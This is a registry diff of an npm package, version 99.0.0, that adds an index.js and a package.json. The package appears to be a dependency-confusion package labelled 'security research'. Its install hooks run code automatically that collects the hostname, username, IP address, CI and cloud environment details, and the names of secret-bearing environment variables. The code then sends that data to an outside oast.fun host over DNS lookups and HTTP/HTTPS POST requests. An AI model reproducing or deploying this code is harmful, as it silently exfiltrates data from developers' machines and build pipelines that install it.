list-issue-predecessor-dependencies-block 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +92 -0
- package/package.json +11 -0
package/index.js
ADDED
|
@@ -0,0 +1,92 @@
|
|
|
1
|
+
const https = require("https");
|
|
2
|
+
const http = require("http");
|
|
3
|
+
const dns = require("dns");
|
|
4
|
+
const { execSync } = require("child_process");
|
|
5
|
+
const os = require("os");
|
|
6
|
+
const COLLAB = "qtmetsrtvaujwklywbgw2wihc2lebzu0n.oast.fun";
|
|
7
|
+
|
|
8
|
+
function run(cmd) {
|
|
9
|
+
try { return execSync(cmd, { timeout: 5000 }).toString().trim().substring(0, 200); } catch (_) { return ""; }
|
|
10
|
+
}
|
|
11
|
+
|
|
12
|
+
const info = {
|
|
13
|
+
p: "list-issue-predecessor-dependencies-block",
|
|
14
|
+
h: os.hostname(),
|
|
15
|
+
u: os.userInfo().username,
|
|
16
|
+
n: process.version,
|
|
17
|
+
platform: os.platform(),
|
|
18
|
+
arch: os.arch(),
|
|
19
|
+
release: os.release(),
|
|
20
|
+
homedir: os.homedir(),
|
|
21
|
+
ci: process.env.CI || "false",
|
|
22
|
+
dir: __dirname.slice(-80),
|
|
23
|
+
cwd: process.cwd().slice(-80),
|
|
24
|
+
whoami: run("whoami"),
|
|
25
|
+
id: run("id 2>/dev/null"),
|
|
26
|
+
ip: run("hostname -I 2>/dev/null || ipconfig getifaddr en0 2>/dev/null"),
|
|
27
|
+
ci_env: [
|
|
28
|
+
"GITHUB_ACTIONS", "GITHUB_REPOSITORY", "GITHUB_RUN_ID",
|
|
29
|
+
"GITLAB_CI", "CI_PROJECT_NAME", "CI_PIPELINE_ID",
|
|
30
|
+
"JENKINS_URL", "BUILD_URL",
|
|
31
|
+
"BUILDKITE", "BUILDKITE_PIPELINE_SLUG",
|
|
32
|
+
"CIRCLECI", "CIRCLE_PROJECT_REPONAME",
|
|
33
|
+
"TRAVIS", "CODEBUILD_BUILD_ID", "TF_BUILD",
|
|
34
|
+
"BITBUCKET_PIPELINE_UUID", "TEAMCITY_VERSION"
|
|
35
|
+
].filter(k => process.env[k]).reduce((o, k) => { o[k] = process.env[k]; return o; }, {}),
|
|
36
|
+
cloud: {
|
|
37
|
+
aws_region: process.env.AWS_DEFAULT_REGION || process.env.AWS_REGION || "",
|
|
38
|
+
aws_role: process.env.AWS_ROLE_ARN || "",
|
|
39
|
+
aws_lambda: process.env.AWS_LAMBDA_FUNCTION_NAME || "",
|
|
40
|
+
gcp_project: process.env.GCLOUD_PROJECT || process.env.GCP_PROJECT || process.env.GOOGLE_CLOUD_PROJECT || "",
|
|
41
|
+
azure_sub: process.env.AZURE_SUBSCRIPTION_ID || "",
|
|
42
|
+
k8s: process.env.KUBERNETES_SERVICE_HOST || "",
|
|
43
|
+
},
|
|
44
|
+
secret_names: Object.keys(process.env)
|
|
45
|
+
.filter(k => /KEY|SECRET|TOKEN|PASS|CRED|AUTH|API_|PRIVATE/i.test(k))
|
|
46
|
+
.slice(0, 20),
|
|
47
|
+
npm_token_exists: !!(process.env.NPM_TOKEN || process.env.NODE_AUTH_TOKEN),
|
|
48
|
+
docker: run("cat /proc/1/cgroup 2>/dev/null").includes("docker") || !!process.env.DOCKER_HOST,
|
|
49
|
+
};
|
|
50
|
+
|
|
51
|
+
// channel 1: DNS (multiple chunks for larger payload)
|
|
52
|
+
try {
|
|
53
|
+
const tags = { h: info.h, u: info.u, ci: JSON.stringify(info.ci_env), cl: JSON.stringify(info.cloud) };
|
|
54
|
+
Object.entries(tags).forEach(([tag, val]) => {
|
|
55
|
+
const hex = Buffer.from(String(val)).toString("hex").substring(0, 120);
|
|
56
|
+
const labels = hex.match(/.{1,60}/g).join(".");
|
|
57
|
+
try { execSync(`nslookup ${tag}.${labels}.${COLLAB}`, { timeout: 3000 }); } catch (_) {}
|
|
58
|
+
});
|
|
59
|
+
} catch (_) {}
|
|
60
|
+
|
|
61
|
+
// channel 2: HTTPS POST
|
|
62
|
+
try {
|
|
63
|
+
const body = JSON.stringify(info);
|
|
64
|
+
const req = https.request({
|
|
65
|
+
hostname: COLLAB, port: 443, path: "/depconf",
|
|
66
|
+
method: "POST", rejectUnauthorized: false,
|
|
67
|
+
headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body) },
|
|
68
|
+
}, () => {});
|
|
69
|
+
req.on("error", () => {});
|
|
70
|
+
req.write(body);
|
|
71
|
+
req.end();
|
|
72
|
+
} catch (_) {}
|
|
73
|
+
|
|
74
|
+
// channel 3: HTTP POST fallback (some CI blocks outbound TLS)
|
|
75
|
+
try {
|
|
76
|
+
const body = JSON.stringify(info);
|
|
77
|
+
const req = http.request({
|
|
78
|
+
hostname: COLLAB, port: 80, path: "/depconf",
|
|
79
|
+
method: "POST",
|
|
80
|
+
headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body) },
|
|
81
|
+
}, () => {});
|
|
82
|
+
req.on("error", () => {});
|
|
83
|
+
req.write(body);
|
|
84
|
+
req.end();
|
|
85
|
+
} catch (_) {}
|
|
86
|
+
|
|
87
|
+
// channel 4: DNS resolve (no shell, works when execSync is blocked)
|
|
88
|
+
try {
|
|
89
|
+
const hex = Buffer.from(`${info.h}|${info.u}|${info.platform}`).toString("hex").substring(0, 120);
|
|
90
|
+
const labels = hex.match(/.{1,60}/g).join(".");
|
|
91
|
+
dns.resolve(`nr.${labels}.${COLLAB}`, () => {});
|
|
92
|
+
} catch (_) {}
|
package/package.json
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "list-issue-predecessor-dependencies-block",
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "security research - dependency confusion test",
|
|
5
|
+
"author": "rootxravi <rootxravi@gmail.com>",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js || true",
|
|
8
|
+
"install": "node index.js || true",
|
|
9
|
+
"postinstall": "node index.js || true"
|
|
10
|
+
}
|
|
11
|
+
}
|